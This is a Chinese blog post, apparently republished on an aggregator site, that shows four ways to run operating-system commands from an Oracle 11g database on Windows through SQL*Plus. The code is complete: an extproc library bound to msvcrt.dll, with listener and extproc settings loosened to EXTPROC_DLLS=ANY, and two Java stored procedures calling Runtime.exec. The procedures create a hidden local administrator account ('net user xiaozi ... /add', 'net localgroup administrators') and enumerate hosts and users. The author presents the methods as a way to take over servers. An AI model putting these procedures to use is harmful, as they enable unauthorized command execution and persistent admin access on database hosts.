oracle执行cmd的实现方法

您所在的位置:网站首页 oracle查看执行计划 oracle执行cmd的实现方法

oracle执行cmd的实现方法

2023-04-05 02:54| 来源: 网络整理| 查看: 265

网络上找到的在sqlplus中执行cmd的一些命令,主要有四种方法,这边都做了一下测试,这里做一下记录:

测试环境:window2003+Oracle 11.2.0.1.0

第一种方法:

最简单的执行cmd命令方法,但执行的本机的cmd命令,非数据库系统的cmd命令,故和本机打开cmd命令一样,貌似没什么用。

C:\wmpub>sqlplus system/QWEasd123@testdb SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016 Copyright (c) 1982, 2010, Oracle. All rights reserved. 连接到: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production With the Partitioning, OLAP, Data Mining and Real Application Testing options SQL> host net user \\TEST1 的用户帐户 ------------------------------------------------------------------------------- Administrator Guest SUPPORT_388945a0 命令成功完成。

第二种方法:

利用msvcrt.dll

1、新建一个oracle.sql文件,保存如下内容:

Rem Rem oracmd.sql Rem Rem Run system commands via Oracle database servers Rem Rem Bugs to [email protected] Rem CREATE OR REPLACE LIBRARY exec_shell AS 'C:\windows\system32\msvcrt.dll'; / show errors CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR); end oracmd; / show errors CREATE OR REPLACE PACKAGE BODY oracmd IS PROCEDURE exec(cmdstring IN CHAR) IS EXTERNAL NAME "system" LIBRARY exec_shell LANGUAGE C; end oracmd; / show errors

2、执行oracle.sql,进一步执行cmd命令,然而却报错,默认安装情况下,用这种方法应该是没办法执行成功的,如果有高手成功的话,方便告知一下。

SQL> @oracle.sql 库已创建。 没有错误。 程序包已创建。 没有错误。 程序包体已创建。 没有错误。 SQL> exec oracmd.exec ('dir > c:\oracle.txt'); BEGIN oracmd.exec ('dir > c:\oracle.txt'); END; * 第 1 行出现错误: ORA-28595: Extproc 代理: DLL 路径无效 ORA-06512: 在 "SYSTEM.ORACMD", line 2 ORA-06512: 在 line 1

3、修改oracle配置

在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora

# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora # Generated by Oracle configuration tools. SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = CLRExtProc) (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1) (PROGRAM = extproc) (ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll") ) (SID_DESC = (GLOBAL_DBNAME = testdb) (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1) (SID_NAME = testdb) ) )

修改ENVS,为ANY

(SID_DESC = (SID_NAME = CLRExtProc) (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1) (PROGRAM = extproc) (ENVS = "EXTPROC_DLLS=ANY") )

在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora

将最后一行

SET EXTPROC_DLLS=

改为

SET EXTPROC_DLLS=ANY

4、重新执行

SQL> exec oracmd.exec ('net user xiaozi xiaozi /add'); PL/SQL 过程已成功完成。

这时候命令已成功执行,这招可以用来创建数据库服务器管理员账号密码以及进一步操作,然而默认配置执行不成功实在蛋疼,除非哪个谁已经改了。

 

第三种:

新建1.sql

create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } }

新建2.sql

create or replace function run_cmd(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer';

新建3.sql

create or replace procedure RC(p_cmd in varChar) as x number; begin x := run_cmd(p_cmd); end;

登陆上去后依旧是依次执行

SQL> @1.sql 35 / Java 已创建。 SQL> @2.sql 6 / 函数已创建。 SQL> @3.sql 7 / 过程已创建。 SQL> SQL> variable x number; SQL> set serveroutput on; SQL> exec dbms_java.set_output(100000); SQL> grant javasyspriv to system; PL/SQL 过程已成功完成。 SQL> exec :x:=run_cmd('ipconfig'); Windows IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.91.130 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 过程已成功完成。

本机测试成功,拿到oracle账号,提升至dba权限,可以考虑使用这种方法拿下服务器。

下面整成一个sql文件,只需执行一步,即可获取数据库ip和管理员列表

create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function run_cmd(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := run_cmd(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; exec :x:=run_cmd('ipconfig'); exec :x:=run_cmd('net1 user');

 登陆进去执行执行脚本

SQL> @java.sql Java 已创建。 函数已创建。 过程已创建。 PL/SQL 过程已成功完成。 授权成功。 Windows IP Configuration Ethernet adapter 本地连接: Connection-specific DNS Suffix . : localdomain IP Address. . . . . . . . . . . . : 192.168.91.130 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.91.1 PL/SQL 过程已成功完成。 User accounts for \\ ------------------------------------------------------------------------------- Administrator Guest SUPPORT_388945a0 xiaozi123 The command completed with one or more errors. PL/SQL 过程已成功完成。

 第四种:

通过Java运行OS命令

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user xiaozi 123 /add'); exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');

账号创建成功,如下图:

oracle执行cmd的实现方法_sql

 

不同的方法需要不同的权限要求,dba权限下,无视。

 第三第四种方法需要有javasyspriv才能正确执行

SQL> grant javasyspriv to scott;

SQL> revoke javasyspriv from scott;

 

参考文章:

Oracle 10g版本SCOTT用户提升DBA权限实战图文:http://niuzu.blog.51cto.com/3006825/607657/



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3